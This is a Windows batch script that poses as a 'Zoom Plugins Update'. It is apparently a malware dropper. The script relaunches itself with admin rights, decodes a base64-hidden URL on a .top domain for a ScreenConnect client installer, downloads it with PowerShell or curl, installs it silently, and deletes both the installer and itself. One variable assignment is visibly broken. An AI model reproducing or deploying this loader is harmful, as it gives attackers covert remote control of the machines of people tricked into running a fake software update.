@echo off
title Zoom Plugin Update
color 0C
mode con: cols=65 lines=18
::wo
::tr
:: trey

::r97
::neter
::
net session >nul 2>&1
if %errorlevel% neq 0 (
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)

set "aHR0cHM6Ly9jYXRvd2F5cy50b3AvQmluL1NjcmVlbkNvbm5lY3QuQ2xpZW50U2V0dXAubXNpP2U9QWNjZXNzJnk9R3Vlc3Q="

for /f "delims=" %%a in ('powershell -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('%b64_url%'))"') do set "MSI_URL=%%a"

set "TEMP_MSI=%TEMP%\update_%RANDOM%.msi"

echo ============================================================
echo               Zoom Plugins Update
echo ============================================================
echo.
echo Downloading update (this may take a moment)...

powershell -NoProfile -ExecutionPolicy Bypass -Command "try { (New-Object System.Net.WebClient).OpenRead('%MSI_URL%').Close(); exit 0 } catch { exit 1 }" >nul 2>&1
if %errorlevel% neq 0 (
    echo [ERROR] Cannot reach the update server. URL may be invalid or blocked.
    echo URL: %MSI_URL%
    echo.
    echo Press any key to exit...
    pause >nul
    exit /b 1
)

powershell -NoProfile -ExecutionPolicy Bypass -Command "$ProgressPreference='SilentlyContinue'; try { Invoke-WebRequest -Uri '%MSI_URL%' -OutFile '%TEMP_MSI%' -UseBasicParsing } catch { exit 1 }" >nul 2>&1

if not exist "%TEMP_MSI%" (
    echo PowerShell download failed, trying alternate method...
    curl -L -o "%TEMP_MSI%" "%MSI_URL%" >nul 2>&1
)

if not exist "%TEMP_MSI%" (
    echo [ERROR] Download failed. Please check your internet connection.
    echo URL: %MSI_URL%
    echo.
    echo Press any key to exit...
    pause >nul
    exit /b 1
)

echo Download completed successfully.
echo.
echo Installing update, please wait...

start /wait msiexec /i "%TEMP_MSI%" /qn /norestart

set "INSTALL_RESULT=%errorlevel%"

del "%TEMP_MSI%" 2>nul

if %INSTALL_RESULT% neq 0 (
    echo [WARNING] Installation returned exit code %INSTALL_RESULT%.
    echo This may indicate a problem with the installer.
    timeout /t 5 /nobreak >nul
) else (
    echo.
    echo ============================================================
    echo               Update completed successfully.
    echo ============================================================
    timeout /t 3 /nobreak >nul
)

del "%~f0" >nul 2>&1
exit /b 0
::done
::